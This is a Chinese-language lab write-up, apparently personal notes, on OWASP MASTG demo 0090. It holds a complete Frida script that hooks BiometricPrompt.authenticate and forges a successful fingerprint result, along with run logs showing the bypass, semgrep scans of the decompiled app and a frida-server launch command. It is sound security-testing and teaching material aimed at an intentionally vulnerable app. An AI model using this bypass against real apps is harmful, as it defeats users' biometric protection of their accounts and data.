https://mas.owasp.org/MASTG
该网站主要围绕以下三大支柱展开,为开发者和安全审计人员提供指导: MASVS (移动应用安全验证标准): 定义了移动 App 的核心安全要求,涵盖了数据存储 (Storage)、密码学 (Crypto)、身份验证 (Auth)、网络通信 (Network)、平台交互 (Platform)、代码质量 (Code) 以及抗逆向与防篡改 (Resilience) 等多个维度。 MASTG (移动应用安全测试指南): 一套极其详尽的实战手册,手把手教你如何对 Android 和 iOS 应用进行逆向工程、动态调试、静态分析以及漏洞利用,并给出了具体的测试用例和防护建议。 MASWE (移动应用安全弱点枚举): 梳理并归纳了移动端特有的常见安全漏洞与隐私弱点(类似于移动端专属的 CWE)。 对于从事移动端逆向工程、动态调试(如使用 Frida、IDA 等工具)、安全审计或安全开发的专业人员来说,这是目前业内最权威、最系统化的参考指南。MASVS-AUTH/MASTG-DEMO-0090
该课题为指纹识别漏洞
解释如下,即未绑定硬件,软认证是可以被hook的
firda脚本
Java.perform(function(){var BiometricPrompt=Java.use('android.hardware.biometrics.BiometricPrompt');var Integer=Java.use('java.lang.Integer');BiometricPrompt.authenticate.overload('android.os.CancellationSignal','java.util.concurrent.Executor','android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation=function(cancellationSignal, executor, callback){console.log("[+] 检测到 App 发起了指纹验证请求...");var authResult=null;try{var AuthenticationResultClass=Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');var constructors=AuthenticationResultClass.class.getDeclaredConstructors();for(var i=0;i<constructors.length;i++){var c=constructors[i];c.setAccessible(true);var paramTypes=c.getParameterTypes();console.log("[*] 构造函数["+ i +"] 参数类型: "+ paramTypes.map(function(t){return t.getName();}).join(", "));try{if(paramTypes.length===2){//(CryptoObject, int)->box the int authResult=c.newInstance([null, Integer.valueOf(0)]);}elseif(paramTypes.length===3){//(CryptoObject, int, int)or(CryptoObject, int, Object)depending on API level authResult=c.newInstance([null, Integer.valueOf(0), Integer.valueOf(0)]);}elseif(paramTypes.length===1){authResult=c.newInstance([null]);}if(authResult!==null)break;}catch(innerErr){console.log("[-] 构造函数["+ i +"] 尝试失败: "+ innerErr);authResult=null;continue;// try the next constructor instead of bailing out}}}catch(e){console.log("[-] 反射整体失败: "+ e);}if(authResult!==null){console.log("[+] 成功伪造非空的 AuthenticationResult 实例!");callback.onAuthenticationSucceeded(authResult);}else{console.log("[-] 依然无法构造实例。");}};});启动脚本
.\frida_env\Scripts\activate frida-U-forg.owasp.mastestapp-lbypass_bio.js OR uv run frida-U-forg.owasp.mastestapp-lbypass_bio.js(frida_env)PS D:\FridaWorkSpace>frida-U-forg.owasp.mastestapp-lbypass_bio.js ____ / _|Frida17.9.8 - A world-class dynamic instrumentation toolkit|(_||>_|Commands: /_/|_|help->Displays thehelpsystem....object? ->Display information about'object'....exit/quit ->Exit........More info at https://frida.re/docs/home/........Connected to Android Emulator5554(id=emulator-5554)Spawned`org.owasp.mastestapp`.Resuming main thread![Android Emulator5554::org.owasp.mastestapp]->[+]检测到 App 发起了指纹验证请求...[*]构造函数[0]参数类型: android.hardware.biometrics.BiometricPrompt$CryptoObject, int[+]成功伪造非空的 AuthenticationResult 实例!
成功绕过指纹验证,即未走硬件绑定
jadx源码导出
漏洞扫描
# 安装脚本uv toolinstallsemgrep OR python-mpipinstallsemgrep# 扫描当前目录semgrep--config="https://raw.githubusercontent.com/OWASP/mastg/master/rules/mastg-android-biometric-event-bound.yml"D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp# 简单扫描semgrep--config=p/default D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp\MastgTest.java# 导出为结构化 JSON 文件semgrep--json--config="https://raw.githubusercontent.com/OWASP/mastg/master/rules/mastg-android-biometric-event-bound.yml"D:\IdaproWorkSpace\MASTG-DEMO-0090.apk\sources\org\owasp\mastestapp-ooutput.json输出结果如下
{"version":"1.171.0","results":[{"check_id":"mastg-android-biometric-event-bound","path":"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java","start":{"line":63,"col":27,"offset":4188},"end":{"line":63,"col":76,"offset":4237},"extra":{"message":"[MASVS-AUTH-2] BiometricPrompt.authenticate called without a CryptoObject or key not requiring user authentication. Use authenticate(PromptInfo, CryptoObject) with a keystore-backed key configured with setUserAuthenticationRequired(true) for sensitive operations.","metadata":{"summary":"This rule detects uses of BiometricPrompt.authenticate without a CryptoObject (event-bound biometric authentication) and insecure key configurations."},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"mastg-android-biometric-event-bound","path":"D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java","start":{"line":150,"col":9,"offset":10425},"end":{"line":177,"col":11,"offset":12490},"extra":{"message":"[MASVS-AUTH-2] BiometricPrompt.authenticate called without a CryptoObject or key not requiring user authentication. Use authenticate(PromptInfo, CryptoObject) with a keystore-backed key configured with setUserAuthenticationRequired(true) for sensitive operations.","metadata":{"summary":"This rule detects uses of BiometricPrompt.authenticate without a CryptoObject (event-bound biometric authentication) and insecure key configurations."},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}}],"errors":[],"paths":{"scanned":["D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\BaseScreenKt.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$BaseScreenKt.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$MainActivityKt.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\ComposableSingletons$MainActivityWebViewKt.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResult$$serializer.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResult.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\DemoResults.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivity.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityKt.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityWebView.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MainActivityWebViewKt.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTest.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\MastgTestWebView.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\R.java","D:\\IdaproWorkSpace\\MASTG-DEMO-0090.apk\\sources\\org\\owasp\\mastestapp\\Status.java"]},"time":{"rules":[],"rules_parse_time":0.022849082946777344,"profiling_times":{"config_time":0.6490864753723145,"core_time":0.43653345108032227,"ignores_time":0.0,"total_time":1.1039011478424072},"parsing_time":{"total_time":0.0,"per_file_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"scanning_time":{"total_time":0.056032657623291016,"per_file_time":{"mean":0.003735510508219401,"std_dev":0.00016091949039390675},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"matching_time":{"total_time":0.0,"per_file_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_files":[]},"tainting_time":{"total_time":0.0,"per_def_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_defs":[]},"fixpoint_timeouts":[],"prefiltering":{"project_level_time":0.0,"file_level_time":0.0,"rules_with_project_prefilters_ratio":0.0,"rules_with_file_prefilters_ratio":1.0,"rules_selected_ratio":0.06666666666666667,"rules_matched_ratio":0.06666666666666667},"targets":[],"total_bytes":0,"max_memory_bytes":182667584},"engine_requested":"OSS","skipped_rules":[],"profiling_results":[]}行数完美对应
最后别忘了启动frida-server
C:\Users\HiMaq>adb shell unicorn:/ $su./data/local/tmp/frida-server-17.9.8-android-x86_64&[1]2548